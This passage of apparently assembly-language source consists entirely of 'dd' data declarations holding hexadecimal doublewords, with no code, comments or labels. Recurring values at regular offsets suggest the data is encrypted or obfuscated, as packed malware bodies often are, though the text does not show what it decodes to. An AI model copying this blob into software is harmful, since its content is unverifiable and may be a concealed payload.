138FD416h, 0D3664432h, 0D4DCD3A7h, 3152EED4h, 11A20B6Bh dd 13E74BC7h, 75662232h, 3D39AF54h, 31527753h, 11A2C56Ch dd 75662232h, 4C077163h, 0FC064B53h, 1566443Fh, 0D8C27061h dd 0FDEBA19Fh, 0C0314A72h, 90A12503h, 137AAA1Ch, 15661134h dd 15670F3Dh, 459A4432h, 1566228Ah, 25F21432h, 0E567B8D4h dd 0F356D01Fh, 4D7EA802h, 73BC9A52h, 4C0857B3h, 45342253h dd 0D9989C86h, 9DABFDB2h, 0C646D0D0h, 1A061E54h, 9400E085h dd 74FBC0FDh, 1AE673B2h, 0EA9904B7h, 0AD36DACDh, 0EA99EECDh dd 1A3E4E33h, 156645B9h, 90EDDE32h, 13731673h, 0D2E67052h dd 80ED2535h, 13730403h, 156605DBh, 0E46C0D32h, 29900FB3h dd 8B070B3Bh, 6922B1D6h, 84EF6A6Ch, 749A241Bh, 156C075Ah dd 31529832h, 0F9E77D69h, 15664436h, 0AF4236BBh, 15661134h dd 753C5B33h, 5DF36F8Dh, 930E437Ah, 9C66113Ah, 17DEAC36h dd 14664432h, 4D7E21C2h, 1ABE2ACAh, 15669EB0h, 0CF5DBC32h dd 0EBDDA43Dh, 9669EECDh, 15668835h, 1567CD3Dh, 479E2232h dd 0F2E4788h, 0DFE7CA4Ch, 45DC3E42h, 0D7E7F0C5h, 2D890658h dd 0D7E752C5h, 0E4CFA580h, 3C3CF133h, 0D58D90C9h, 0E051FD76h dd 1560FC62h, 0D64F2232h, 944215B9h, 15668CF6h, 14E64B32h dd 0E0662232h, 9769BC54h, 15668835h, 1567CA3Dh, 739F2232h dd 1561F899h, 290F8832h, 8A5BB218h, 1572CBE8h, 51511132h dd 27FF4C7h, 0B22E1B18h, 9D426248h, 66D0D058h, 0CD57419Eh dd 0CD578703h, 420689CEh, 1566993Dh, 0E03F8832h, 11DE1453h dd 94662232h, 0FA79F2F4h, 94A0896Fh, 0FA79A7DCh, 1A8F7A6Fh dd 0F661132h, 0E06E6608h, 43E076Ah, 558314AAh, 1A065CABh dd 0AC004B8Dh, 9C075D16h, 1A8F060Eh, 0AB661132h, 4B8115B9h dd 0FA084DC9h, 0A7EC3DF6h, 61EFDF3Dh, 1A068416h, 156646B9h dd 1A3F7132h, 156610BAh, 0FC077D32h, 15664420h, 2C2667AEh dd 78C65292h, 0CCA0F53Eh, 0A29B218Eh, 0A0EFC401h, 13731743h dd 15610F3Dh, 9A694432h, 15662233h, 1574F8C7h, 0B76B8832h dd 2E310CDDh, 97E3C5E8h, 18F3DB71h, 3C42B7F8h, 4A4270CDh dd 0FC62E6B1h, 15661138h, 52984E5h, 0D2300283h, 9ED73CFh dd 0F6EF4216h, 15624BB3h, 0D6E54432h, 317AA536h, 1569F86Eh dd 39F48832h, 3F45815Dh, 9CF49B81h, 986F59D3h, 31527795h dd 11A2C76Bh, 1567A83Dh, 0EA931132h, 9438AC06h, 156640F6h dd 1563CB32h, 47DA1132h, 449831F5h, 0D4E7A5BBh, 15662236h dd 9262D0B1h, 31EDAC3Eh, 0E2ED2416h, 0CA91CB53h, 0D293EECDh dd 9EEA6B7h, 15664634h, 94304232h, 772BCEE5h, 0C6EDD756h dd 798A2C53h, 1EF2232h, 9C949816h, 9F69D2E1h, 1566443Ah dd 1564AD3Dh, 74061132h, 75683E3Dh, 1ABCF33Dh, 156620B2h dd 74077132h, 1AE671B2h, 156619B1h, 0AB30D732h, 6E320AD9h dd 14387B1Bh, 0FEA5C5F9h, 751D7629h, 0D48D9054h, 4C9EDBFAh dd 156BAD53h, 0DCD82232h, 1BF44D2Fh, 5C1DDC2Dh, 43E24C75h dd 1566238Ch, 4B951032h, 17EE8752h, 0A7664432h, 0D7ED7341h dd 108F7068h, 2D668832h, 370876CBh, 1566A9DBh, 949F7132h dd 0E77546EBh, 0A734254Bh, 0BEACA2B1h, 0D520A063h, 0C49080DBh dd 25CDB5B2h, 0C44E7BF8h, 1561F868h, 0B2418832h, 2D154691h dd 9917360h, 316A9A16h, 15624CB3h, 42064432h, 4D97A954h dd 0E508A58Dh, 0ED06E95Dh, 233EB4B3h, 4007302Eh, 1566EE8Fh dd 9E8FA932h, 0D1E5601Eh, 1C8FDE36h, 0EF661132h, 0FC01EDBCh dd 39E0EABBh, 1F80E1B3h, 0D6E73ED4h, 0F19F6ADh, 0FEE78F1Bh dd 0F195CADh, 1F80FAB3h, 0ED06A7D4h, 74A9FB3Dh, 1227A7B9h dd 90691727h, 1566883Eh, 1560CF3Dh, 9E692232h, 15661132h dd 33571DB9h, 98694227h, 15662220h, 15661CDBh, 0D88432h dd 0E1A5D1BAh, 0CC02F58Fh, 9369D5C0h, 15668833h, 44DBC7CBh dd 1460372Ah, 11C2953Dh, 96698832h, 1566443Eh, 82DF4452h dd 15E21EF8h, 74668832h, 9769870Bh, 156626B8h, 1AB528C7h dd 0EA9DFCB0h, 1560ADCDh, 290A2232h, 78A87B6Dh, 1562F9DBh dd 156CAD32h, 28FA2232h, 3A27450Fh, 5D7CE859h, 156AC63Dh dd 73062232h, 4DE5F7B3h, 91A40954h, 90A12542h, 137AAA1Ch dd 15661130h, 4369E0CEh, 21EF4432h, 9F067916h, 0DFED77F1h dd 1BD08753h, 1567C43Dh, 959E2232h, 966991CBh, 1566886Eh dd 1C8E1752h, 54662232h, 0EA6FDB4Dh, 2D7C78A1h, 749E1C6Ah dd 4AAAC9B3h, 0FEE77B53h, 6762F306h, 0D6E78F33h, 67625906h dd 4AAAD2B3h, 4793E253h, 0EA99BB88h, 4FB50BCDh, 156601DBh dd 0CC107432h, 0C766747Eh, 91BB8503h, 6208D0C0h, 15A16130h dd 108F4432h, 47662232h, 0EFB33751h, 3BD4DA61h, 9D5FAEB2h dd 0D2E678E5h, 31819197h, 95EE7FB2h, 0E2E69CC5h, 0EB89A29Fh dd 1A3DE81Ah, 15669FB0h, 1574AD32h, 4D412232h, 0BD2F63D7h dd 511657B6h, 0DE1ABBFEh, 25BF60C2h, 15661CDBh, 30330232h dd 0A2ABF2A1h, 0B01A63B1h, 0E4E19374h, 0E4E15EC5h, 1572AD73h dd 1B062232h, 6A2BE88Fh, 898FD854h, 201034F3h, 50FBCFEh dd 198FCEB9h, 39668832h, 34A9C1E0h, 0B908FD1h, 457DE4EFh dd 483FA98Ah, 15674116h, 54432232h, 0D4219C49h, 144B8CD2h dd 342691BDh, 108F7AF3h, 98661132h, 8704D7Ah, 3F55F967h dd 942364B9h, 7F8DFFDFh dd 488DA1D0h, 0D6E78F1Bh, 71461C74h, 54E39AC7h, 0FC609D35h dd 15664434h, 60883324h, 80ED30AFh, 1373AE03h, 156CAD52h dd 0B2762232h, 576A6D00h, 8DD3A86Fh, 15664FDBh, 777F6332h dd 0E3ACBB29h, 9A71ACAFh, 44DBC753h, 1460372Ah, 17A2953Dh dd 188F8832h, 51664432h, 0A3DC1656h, 3B3CF854h, 37AB8B10h dd 97699C09h, 15662211h, 1561933Dh, 92698832h, 15664433h dd 1AB51BCEh, 0EA9F99B4h, 156F61CDh, 0D1494432h, 238992EDh dd 4359ED40h, 9E4284CDh, 0D1E76006h, 15662236h, 0A0919A52h dd 4700E9D2h, 0E5EE2184h, 0FDA67854h, 19531536h, 21A676FBh dd 12EF4BC1h, 75662232h, 9EF4CBB2h, 0FCCCE9F1h, 1566443Ah dd 1602D345h, 1F86035Dh, 15663361h, 0E6674432h, 9ED29B8h dd 11A29016h, 1A668832h, 15664CB5h, 97694232h, 15661132h dd 0EBD3D953h, 0F0A681CCh, 1593A235h, 19EDF9BAh, 11A20916h dd 1A664432h, 156623BFh, 0A334E932h, 95A87627h, 0CB903CDCh dd 955AD4B2h, 0E3E60EC4h, 0D588582Ah, 0D3E64CD4h, 0FC88A2CAh dd 753CE012h, 1563093Dh, 94004432h, 0ED0BAAE8h, 1577F853h dd 36458832h, 0BA9181Ah, 6E2FD586h, 0BB619F5Eh, 1DABCF86h dd 0E0CCBDFAh, 39FDC9B3h, 0EE4F21ADh, 39FD3062h, 0D66774ADh dd 9406DE6Ah, 2DEE92D8h, 15746137h, 73274432h, 42656E40h dd 78D788BEh, 9C6D8961h, 0FB9BB61Ah, 118AA353h, 9C661132h dd 11DBAC1Eh, 3C664432h, 1A8F7FD9h, 9A661132h, 0EEE38EE5h dd 0A0DD4D5Ch, 8C996DF3h, 463695C0h, 317A036Ah, 756280B1h dd 74BC9D3Dh, 9E69BAC7h, 1566883Ch, 15E14B52h, 94662232h dd 0FB119FD5h, 0A833E915h, 15664430h, 5742CCB3h, 0FB6713CAh dd 57424EB3h, 0FC3B46CAh, 15662234h, 0E2F8A3A1h, 0A0EF89B1h dd 13734243h, 156FA63Dh, 0EC061132h, 15660C3Dh, 0D2074432h dd 7E73B7h, 15661034h, 9C307D32h, 11DD17D4h, 14662232h dd 0D3E54AECh, 31520F36h, 83D9246Eh, 75798A98h, 0A47FAB54h dd 7407D064h, 156657DBh, 1E0E4532h, 0E3CC5EF4h, 0FB8AD98Fh dd 6E4DEB98h, 0C2AD53E4h, 4E4225CDh, 1A624CB1h, 156656B0h dd 19EB2D32h, 0FC661132h, 15668835h, 55F24162h, 9EC3438Ch dd 9C33353Eh, 11A309D7h, 94664432h, 156626F7h, 314A9632h dd 12E5876Eh, 1A664432h, 156623BDh, 9C30E432h, 11A009D4h dd 42664432h, 1566268Dh, 4A981032h, 4942BCB5h, 156AC13Dh dd 128F2232h, 3661132h, 5D54135Eh, 9C373212h, 11DD71D3h dd 14661132h, 0D4E5D3EBh, 316AC336h, 156ACB6Eh, 8D5A1132h dd 0A84C4549h, 0D5D094Fh, 950642CCh, 9969ACD6h, 15668827h dd 15664BDAh, 2AB30F32h, 991AA3ABh, 0A6DF7A3Eh, 94904244h dd 0E38F436Ah, 0FC99EEEBh, 15668839h, 544739BBh, 0E1C98F40h dd 1A21FB7Bh, 156689B3h, 9430B832h, 1567061Eh, 75381132h dd 156686DBh, 3991E532h, 0C02FEB10h, 2DA60D01h, 946F9DABh dd 8EAECEE4h, 18F4350h, 3661132h, 0C0713245h, 0D8F84C43h dd 0B0C562BDh, 0FF952F31h, 44AD3EDBh, 0C490AE83h, 0F4E6EBCCh dd 0CCA791A8h, 9DAC0060h, 753F1EE2h, 5884FCB3h, 749A3A6Ah dd 0D7E6E898h, 9E302593h, 0D1E50636h, 18E31E36h, 0FC668832h dd 1566443Ah, 0CF7BB9Eh, 0DB955360h, 56393567h, 0FD4F0563h dd 109E0B6Fh, 5437526Dh, 156685DBh, 9898AB32h, 645DE64h dd 751EC174h, 68FBF53h, 7664432h, 1A957BFBh, 1DD8986Bh dd 9E3D9297h, 0AD14FE0Ah, 0AA31765Fh, 15661136h, 4B3D3937h dd 389E6D2Bh, 0C387983h, 40D6716Dh, 99F24F8Ch, 0EDCD2577h dd 9C62CEB1h, 0F5EF3536h, 15668C37h, 11A6C732h, 494226B5h dd 15661BDBh, 1DE5B832h, 0F5AAF342h, 0EA111E76h, 963D3506h dd 73068CF6h, 0CF4AEB3h, 1575CB53h, 95661132h, 0C1F5EB67h dd 0A53DADABh, 79B6B819h, 705E7DBFh, 316A0353h, 9483CD67h dd 156626F7h, 11A39232h, 4942A4B5h, 156654DBh, 9C150B32h dd 8AD63EF2h, 0D770E825h, 0C2A1E46Fh, 3152DD3Ch, 11A2906Ch dd 0FC668832h, 15664438h, 4DD8FB5Ah, 13512070h, 9C3598D7h dd 11A5C5D1h, 96662232h, 9E115F1h, 31420316h, 156654DBh dd 7D5D5F32h, 64F14EADh, 4713DDE8h, 5B818954h, 0CE53CB03h dd 1B8FEECDh, 74668832h, 455FD48Ch, 0CAAD5B70h, 4D404DC3h dd 3BE34F28h, 106058BAh, 75662232h, 15661BDBh, 7C41EC32h dd 0D9B75F8Dh, 9E2BD4C8h, 943070FAh, 680DAC06h, 9ED4E36h dd 11A2A316h, 94661132h, 111BE3C1h, 1569AD38h, 0ECA42232h dd 506ECFB6h, 0C00E49D6h, 0C03DA87Eh, 118AA1EFh, 0AD4215BBh dd 15668836h, 753E8733h, 43ECCBB3h, 0AA691352h, 0AD36E9C1h dd 15664432h, 0EA0B5137h, 3896100Fh, 2899E541h, 0FC3E5C31h dd 1566223Bh, 0FC2386A1h, 4061138Dh, 54E3CFA2h, 75603735h dd 15661BDAh, 29923C32h, 67602EB5h, 0AB08ED1Eh, 445051C9h dd 3EC876Bh, 0FC664432h, 15662223h, 0DE628F33h, 77EDDD4Ah dd 4FA370D7h, 0EBA8DF20h, 80ED706Ch, 1373AE03h, 14DD17CAh dd 3C662232h, 90694AECh, 15668833h, 4CDBC7CEh, 1460373Eh dd 13D5953Dh, 93698832h, 1566443Ah, 733E7252h, 74646D88h dd 97695009h, 15664409h, 156629DBh, 526AFE32h, 14F4E9E7h dd 0F06AB166h, 9369F809h, 15661003h, 15616052h, 0B30B4432h dd 95A398CFh, 0C6ED7792h, 0D2E7EE6Bh, 1A07A92Eh, 156624B7h dd 0C5EC7132h, 9C07E952h, 603587h, 749E4234h, 9D488CB9h dd 949A8E2Eh, 3D6A6076h, 942A2D29h, 936A3576h, 145A6E3Bh dd 946A606Eh, 936A065Eh, 945AF73Bh, 3D6AAC5Eh, 0E02A4B29h dd 15600ADBh, 1FE41E32h, 0FC668832h, 15664437h, 43290030h dd 315A9A7Ch, 94830167h, 156640F7h, 11A3A132h, 49423DB5h dd 0AC00E852h, 74062906h, 0D207DE53h, 6A48B7h, 15668934h dd 9E69BD32h, 15662239h, 156617DBh, 0EAF00132h, 9E848FF4h dd 9C35062Eh, 11A590D1h, 96668832h, 9E140F1h, 1F8F7E16h dd 0AF661132h, 4BC44A7Fh, 1CCBB87Ah, 316AA94Ah, 94859861h dd 15668CF1h, 11A5C732h, 49423EB5h, 1BEC1E52h, 0FC668832h dd 1566443Bh, 42E6D06Fh, 0F74CE131h, 749502AFh, 4B4270CDh dd 0FC62E6B1h, 15661134h, 1274BCCEh, 9C356610h, 11A5A3D1h dd 96661132h, 0EA358CF1h, 4E626046h, 494226BDh, 156F903Dh dd 42068832h, 0FEE72269h, 0FC075451h, 0EA99C737h, 44DB0BCAh dd 1460512Ah, 1021A63Dh, 68F1132h, 0C8668832h, 13C782A7h dd 85F7FC8Dh, 0FA1FC80h, 0B93B9E37h, 884DABA1h, 13732573h dd 0A4EB9AC7h, 0FC609D2Fh, 15664426h, 723C4A62h, 99B44CE6h dd 5B7A89B8h, 0EA3F89AAh, 0E10F3891h, 306CA962h, 0DB4BAD19h dd 1490E3D8h, 0CC677AF3h, 2F5AF8B3h, 0FC06A6B1h, 15664437h dd 73C0E66Ah, 78F42EBh, 0C8668832h, 566A6FB0h, 7EF342DEh dd 67136484h, 0E8C6BB8Bh, 0ED071DF6h, 2737CBB3h, 0D4E719ECh dd 5B50CDD6h, 0FCE7BD1Bh, 5B5067D6h, 2737D0B3h, 9F6980ECh dd 15664433h, 0AB30DACAh, 15661137h, 4DB449B3h, 0E44F731Eh dd 4DB4CBB3h, 0FC38261Eh, 15668821h, 4A3688B5h, 767AE62Ch dd 7CB272BAh, 59C5110Ch, 47A15970h, 0A38C9262h, 4DA011E9h dd 9D4A7EB2h, 93691EC2h, 15662235h, 95077152h, 0BF071EC2h dd 0FE0E2552h, 9C662228h, 4D373536h, 0D2E7E86Bh, 6354E7A2h dd 7D9E8953h, 156666A9h dd 9C42A4BBh, 11A3C5D7h, 96662232h, 39E115F7h, 0EA9FD416h dd 943D6006h, 156626F6h, 19EDE432h, 0F0EFDD16h, 156281B3h dd 0D0E72232h, 15661136h, 4942A4B5h, 0C4E72452h, 173F4FC0h dd 0B32FAF54h, 0C5D98753h, 3152CF53h, 9487AB63h, 156615F3h dd 11A70B32h, 494248B5h, 1575CBCEh, 0ACC21132h, 8D3C035Fh dd 54304C0Bh, 0DA2317EBh, 648187D3h, 0F3EFDEB8h, 156282B3h dd 0AC372232h, 15661136h, 923F4633h, 0ED3A6006h, 0EAB164DBh dd 1568F8CDh, 0F8A38832h, 0A2B09DE2h, 5ED9BB50h, 1F3AE416h dd 156B0C3Dh, 1D8F4432h, 0E9662232h, 90D5270Ch, 0D24E19F4h dd 9EE6AB7h, 15662034h, 1572F832h, 7B5B8832h, 0B1C6C0A9h dd 0FED230E9h, 3CD78C37h, 0E601C70Bh, 7D9EE36Fh, 15664605h dd 9C4205BBh, 4FB501C0h, 8DEFC52h, 78E749Ch, 5D661132h dd 0E87FFA27h, 9D65AB71h, 5633C2B1h, 0EE7491F5h, 0DF5367Fh dd 743E5AC4h, 7568943Dh, 9B69FEB8h, 15668834h, 1566CF3Dh dd 0EC072232h, 1AE6E8B2h, 156600B1h, 0A833BD32h, 56476543h dd 25BED4B3h, 0F0E7E5A8h, 2DE55FA3h, 1BBCD7B3h, 0F0E73F42h dd 74C043h, 0D0E799C5h, 3CA5BFFh, 143BFA33h, 698D09F9h dd 7564DE4Bh, 1563AA3Dh, 94001132h, 1A2F33DAh, 156644BCh dd 96354332h, 4E673536h, 15770E3Dh, 96694432h, 15662239h dd 156617DBh, 221F2E32h, 0ED986A8Ch, 1566F2DBh, 0AF9A7132h dd 2909DAA2h, 0FD352453h, 1566223Ah, 0D21EAC35h, 523E218Dh dd 0FFE71F68h, 3609533Dh, 178A9253h, 31620154h, 0D44EBB82h dd 1A067A54h, 156613BAh, 7507E832h, 1566CE3Dh, 94002232h dd 74B263C3h, 4C33D953h, 92BBB36Fh, 4E42DDBh, 0FC661132h dd 1566883Eh, 0B2288102h, 6A4DF1E2h, 27697786h, 39783567h dd 0D8E72B4Fh, 71340C6Ch, 9463F4F3h, 1F289EF7h, 0C3D91329h dd 0E2374C4Fh, 0D8A190EDh, 1CD4A881h, 0C8911BCFh, 2B90E7B3h dd 0FC477BC0h, 19EB876Fh, 1A664432h, 156624B7h, 15EE1E32h dd 0ED668832h, 2DB2FD63h, 0DE6737DDh, 94AD386Bh, 0FA5E5CD9h dd 1575AD27h, 0D0BE2232h, 0D5B66F54h, 7C63E7DEh, 6125909Fh dd 0CD0055D0h, 54E39A3Fh, 1A609D35h, 156645B5h, 80EDDB32h dd 13733703h, 0EF9961CAh, 759ABBCDh, 128FE1B9h, 70661132h dd 0ABFB2821h, 0D2074006h, 9EE0CB7h, 15661334h, 40347032h dd 0FFEFB1BBh, 4FB5AB6Fh, 1569933Dh, 1F8F8832h, 0CA664432h dd 0CD5B7B99h, 7C27898h, 1BD08765h, 959FC4CEh, 1508A13Dh dd 94691132h, 1566882Ah, 156657DBh, 8E3DA832h, 48C1A0C1h dd 0D6095281h, 0F97E2DE4h, 0A744D5D5h, 348FD2B3h, 0FEE7E85Ah dd 7F832D0Ch, 0D6E7E933h, 7F83780Ch, 348F63B3h, 1A9F245Ah dd 15662DBCh, 156CF832h, 0DED38832h, 0CAE326D9h, 9BEBD39h dd 1567AB60h, 0C6678832h, 1560AD68h, 54732232h, 87FAD5ACh dd 156609DBh, 14E44B32h, 0E9662232h, 45A6A661h, 0F256B786h dd 4E9F6C6Ah, 0CDED4452h, 1384CBB3h, 5C07E5D5h, 3172B363h dd 156ECB6Bh, 6B171132h, 0F66055FBh, 9B6902DAh, 15662233h dd 3D847CAh, 5339824Dh, 0F2A0C574h, 34C6D7B3h, 31529AC3h dd 0FC624CB1h, 1566443Fh, 43B6265Fh, 0EA68236Bh, 6A942A3Ch dd 1FA5C547h, 944ADD3Dh, 0F16E23F1h, 94ADA146h, 0F16E76D9h dd 1F8DA346h, 1A4AEE3Dh, 156689B1h, 90EDBD32h, 13732573h dd 0CAED7752h, 15640A3Dh, 13D64432h, 1E8F4253h, 59661132h dd 86C775E5h, 9691DA80h, 9E07F933h, 4020A7h, 1AE68734h dd 75664432h, 156627DAh, 0CE724932h, 753E6CD0h, 0A8E52553h dd 13733A63h, 36E21E33h, 0EC9977C5h, 97699C09h, 1566221Fh dd 15661FDBh, 0D4A4DA32h, 0D365E96Ch, 0A78D99C5h, 2CEA2594h dd 0E7E087E1h, 7599BBDFh, 15662ADBh, 0FF089B32h, 5BD7A34h dd 0CBD14B9Fh, 14DB7753h, 3C661132h, 1B8FD5DCh, 0E3664432h dd 5DDB35E0h, 0CDC812A7h, 5F523C77h, 2EEE2C30h, 21EF2232h dd 314A9016h, 8C0CF2Bh, 0CA7C56Bh, 1A7B8475h, 156610B6h dd 0A8337432h, 3D4977E2h, 55CFEFB3h, 0D42B5FA1h, 0F8E780DFh dd 3A3A7AFAh, 7F43CFB3h, 0D0E75A72h, 0D549C682h, 3C3BAD33h dd 238FA3CBh, 75201057h, 1E91568Ah, 0EBED2274h, 12E42D53h dd 1A661132h, 156689B4h, 0F9E5B832h, 315AAB36h, 1566148Dh dd 4A9FA132h, 0DBD94B52h, 156CCB53h, 4EB91132h, 0B69D602Ch dd 86ECF244h, 0A5AC9363h, 9EAE2111h, 0D1E7AC3Eh, 15664436h dd 1575CB52h, 74341132h, 1427443h, 67DD0485h, 9F29847Dh dd 0CF096A70h, 0BF9FE9D1h, 17E54B52h, 9F662232h, 0EDD91EFAh dd 0F9E7D853h, 15664436h, 4D422EBBh, 156FF86Bh, 23838832h dd 0ABFF87DAh, 0BEA4092Ah, 0EFD91E52h, 0FC073483h, 0EA999699h dd 88DD71CBh, 947D535Dh, 6C29D7C1h, 0C28DC550h, 94700E66h dd 0E45204F1h, 9F9589AEh, 0E9061F31h, 15EB2D62h, 4F661132h dd 7336E853h, 4A07908Ah, 156630DBh, 24705032h, 81EBAC91h dd 73AD3EBAh, 0F58820E6h, 74695324h, 9169600Eh, 1566440Fh dd 0F1DC70CBh, 0AD39AB71h, 4ADCCBD6h, 1ED9403h, 11A2A316h dd 0FC661132h, 1566883Bh, 668E4232h, 5904122Ch, 1419F821h dd 0AF068832h, 65730210h, 1560AF3Dh, 97691132h, 15668832h dd 0F2EF1353h, 1562E5B3h, 0FAE51132h, 315A0F36h, 317ACD6Eh dd 13E82D52h, 1A661132h, 156688B4h, 0CEA6C532h, 74011742h dd 153B755Ah, 31520132h, 94002469h, 749405E5h, 1567A863h dd 0E4678832h, 1566FE60h, 0DF672232h, 4C3C0B31h, 0AB30DDCBh dd 33D96C29h, 55B1C88Fh, 4B9310EBh, 0ED3B6333h, 0EBCAF260h dd 95B0D4F4h, 0CB9077C4h, 0EB513F61h, 3191C4F5h, 9D3DDC32h dd 0BF934BC2h, 1561043Dh, 99694432h, 15662233h, 208D90C7h dd 3C622C1Ah, 0FDDB11C9h, 940B093Bh, 9387A2DFh, 488D895Ah dd 15664BDBh, 9FFB3632h, 20A3603Ah, 0DD3789EBh, 0E890F1Ah dd 15629C64h, 0D6E71132h, 3F2097E7h, 0FEE7B71Bh, 3F203DE7h dd 1DEC1E6Ch, 1A668832h, 156646B1h, 45074232h, 31629A61h dd 15624CB3h, 0FC3D4432h, 15662221h, 0FCFC6BB3h, 0AEA3BF34h dd 4B72A9B3h, 0EE0FA9B8h, 0BED99E40h, 75B70852h, 9E078CB8h dd 9C30062Eh, 11A090D4h, 94668832h, 156640F4h, 3152A532h dd 0A833E96Eh, 15668837h, 13B3AAB3h, 0FB6762B2h, 13B3D7B3h dd 753BC8B2h, 1A2691B2h, 156630B5h, 156AF932h, 474A8832h dd 0F42BB7E5h, 2BCB7916h, 743C2FC7h, 0F06E063h, 943F22E9h dd 0AC08B8DBh, 0FCE75868h, 936EFACh, 5140FF61h, 0CC57CDE3h dd 4CAE9869h, 138F4BCAh, 2A664432h, 0B68DC8B7h, 0F2EF46D4h dd 15624FB3h, 0FAE54432h, 315AA536h, 316A986Eh, 15670F3Dh dd 449A4432h, 1566228Bh, 47971032h, 15668888h, 73AC4532h dd 4C3C20B9h, 15661DDBh, 0BAF0F132h, 0B33B84D5h, 9F7DA05Fh dd 1AA52D74h, 1567EDB6h, 13EC4B32h, 75662232h, 4B364A61h dd 1AADB453h, 156715B6h, 1FE92D32h, 75661132h, 0E1239788h dd 0C5D94B5Ah, 1AA41E53h, 156778B6h, 12E48732h, 75664432h dd 9E007B65h, 996970F1h, 15668838h, 69EEFB52h, 9E0035F6h dd 0DF5A70FCh, 14220C3Dh, 95694432h, 1566223Ah, 1564993Dh dd 74068832h, 30997954h, 1433A63Dh, 1C8F1132h, 7B668832h dd 0E521050Eh, 7180AF3Ch, 0AA694752h, 7307D6CBh, 1A996A0Fh dd 15665DB7h, 156DF832h dd 286E8832h, 9AD5A443h, 0E92FAC64h, 118A926Eh, 0AF429CBBh dd 15664430h, 17ECD033h, 19EF1E68h, 1A668832h, 156642BEh dd 15EF2D32h, 47661132h, 46006784h, 0EB565285h, 0CB907954h dd 0D3E6CFC4h, 4F96A8C5h, 156DAC52h, 0B68B2232h, 6BD26672h dd 0D0944824h, 0E5D94B3Ah, 19E12D68h, 0FC661132h, 15668835h dd 0F037504Ch, 741ABB13h, 9169B10Eh, 156688D1h, 9400BC52h dd 74E26CC1h, 40421DB9h, 0D0E76DBBh, 15664436h, 9262E7B1h dd 0FC3A351Eh, 15668821h, 0D8694357h, 0D3865CC4h, 183AD734h dd 34EEE919h, 7D5DC4D4h, 156647B8h, 0AF4205BBh, 15668832h dd 1A3C94BBh, 156635B4h, 1574F832h, 443B8832h, 3A3EC53Eh dd 0D240B4Ah, 0D47DDEADh, 18A1AE47h, 15675EDBh, 0DC57DE32h dd 156E963Dh, 93698832h, 15664430h, 0AA314352h, 0EA99EECDh dd 0ED39711Bh, 156635DBh, 0AD004232h, 94006A0Ah, 74D72CF3h dd 47D82252h, 0A8334393h, 15661131h, 9C890165h, 0FC3B1BCBh dd 1566223Ah, 0C26BC153h, 0FCEC706h, 156605DBh, 0D7E74232h dd 43796BE5h, 400746B9h, 1566428Fh, 9E8FAB32h, 0D1E5351Eh dd 368F7036h, 1A664432h, 156628B9h, 9E007132h, 64230C5h dd 43072423h, 341A6E8Ch, 0AEDC431Bh, 9CB056B1h, 0E4671EE3h dd 0B195D76Ch, 15689A3Dh, 1C8F8832h, 0A4664432h, 4F3DC990h dd 0AFA9C97Ah, 24EB03CAh, 1A605114h, 156623B0h, 0DCE3E832h dd 15780D3Dh, 73064432h, 0D337C0B3h, 0EEAF9054h, 0A0EFE942h dd 13736203h, 1560A13Dh, 1A061132h, 749E5885h, 464248B9h dd 0D6E7C1BBh, 15661136h, 92624BB1h, 753A602Eh, 0D6E744C7h dd 0E907DA86h, 7E683361h, 432D40DAh, 71246A8Ch, 4B953833h dd 0C25A4BB3h, 0CDEFB849h, 1A354269h, 156611BFh, 0D607D332h dd 239922CAh, 3162A954h, 1564D5B3h, 96698832h, 15664426h dd 15662DDBh, 435A0432h, 0AB16111Fh, 3A038223h, 0AE48473Dh dd 156619DBh, 0B4BDA132h, 0B8FB0D33h, 1AA51E32h, 1567D6B6h dd 9D347132h, 0C5EE14F0h, 4F3EE1BAh, 4E344752h, 1563616Ah dd 0B464432h, 7469A575h, 15759D3Dh, 1B8F8832h, 0E1664432h dd 0FC23B5A1h, 40618A8Dh, 168BBEA2h, 0A73422B4h, 73B502C2h dd 944205B9h, 15668AF6h, 94002432h, 9EA37CFDh, 0EEE670E8h dd 0B9E28742h, 0EC664431h, 9169CB0Eh, 1566105Ah, 15669ADBh dd 35A05632h, 2EEFDE76h, 0BD580736h, 37A44591h, 2939ABBDh dd 5CE22DD9h, 75661133h, 6B800852h, 4A0FC53h, 29074D5Bh dd 20E21EF0h, 0ED668833h, 91698F0Eh, 1566231Eh, 15699F3Dh dd 1F8F8832h, 664432h, 5E5DB41Fh, 0B57D8142h, 0EA5BEE27h dd 18E24B17h, 75662233h, 0FDF4A152h, 15668820h, 10FC2A48h dd 4BC581A4h, 0A7E0CD6Dh, 2DAF7B01h, 7439DBEAh, 74D3E3B2h dd 9169DB0Eh, 156688D6h, 157BC33Dh, 9B692232h, 15661125h dd 15669ADBh, 0E55E7532h, 1D9F1C7Bh, 841F39A4h, 823C304Bh dd 0FC19E9B0h, 15662221h, 362A0351h, 3F0B5691h, 0C69B6DEFh dd 8BA6B0D4h, 2929A787h, 0C9E287D1h, 1A664430h, 15662EB2h dd 13EF1E32h, 1A668832h, 156644B1h, 3B5B4432h, 47E31ECDh dd 0FC668832h, 1566443Ch, 1765AB06h, 0D08CC621h, 6F2CF4C2h dd 0AC37A827h, 15662230h, 4996F8B3h, 0E467E32Bh, 499685B3h dd 14EC492Bh, 0F9E7ED6Bh, 15668836h, 0A64258BBh, 9EA5A2F1h dd 35D8E2B2h, 2993D3EAh, 28E24B92h, 0FC662232h, 15661137h dd 0F15F345Fh, 15DB11B7h, 9C662232h, 314A9ADAh, 15624CB3h dd 73064432h, 0FC064C8Dh, 15661137h, 0D269A9F1h, 6B8F25DEh dd 1A662232h, 156616BFh, 0FFE6E832h, 74A4CE3Bh, 335797BBh dd 73061727h, 737D1C8Bh, 746C028Dh, 8394BFBFh, 0FC9A1729h dd 1566883Dh, 4BA616A5h, 65FCE9ACh, 0F26A9EFBh, 0EAF3A6E5h dd 0AB0024E1h, 0CDED6D2Ch, 68DC4353h, 941E090Eh, 8D5F57D8h dd 4BDF735Dh, 1C3AC52Dh, 0FFE7D1F8h, 659C0EB4h, 1EACA370h dd 947C176Bh, 13BB72D8h, 4FB6CDCCh, 156DAB3Dh, 138F1132h dd 0D1668832h, 1ED48A5Bh, 9C69E152h, 1566113Ah, 15640D3Dh dd 74064432h, 151F1F5Ah, 31629832h, 5DFD9CEh, 14664432h dd 4D57DDC3h, 9169716Bh, 15668837h, 0C66C4A88h, 90EF4328h dd 13730D8Fh, 315277C7h, 11A2C56Ah, 0E0662232h, 661A962h dd 0CD91A87Fh, 4ED4417Ah, 0CD9120DDh, 206EF1F3h, 48D1DE2Eh dd 0ED3E8233h, 140F9FBFh, 99691727h, 15668822h, 15664FDBh dd 72CA9332h, 44D78434h, 2270D76Ah, 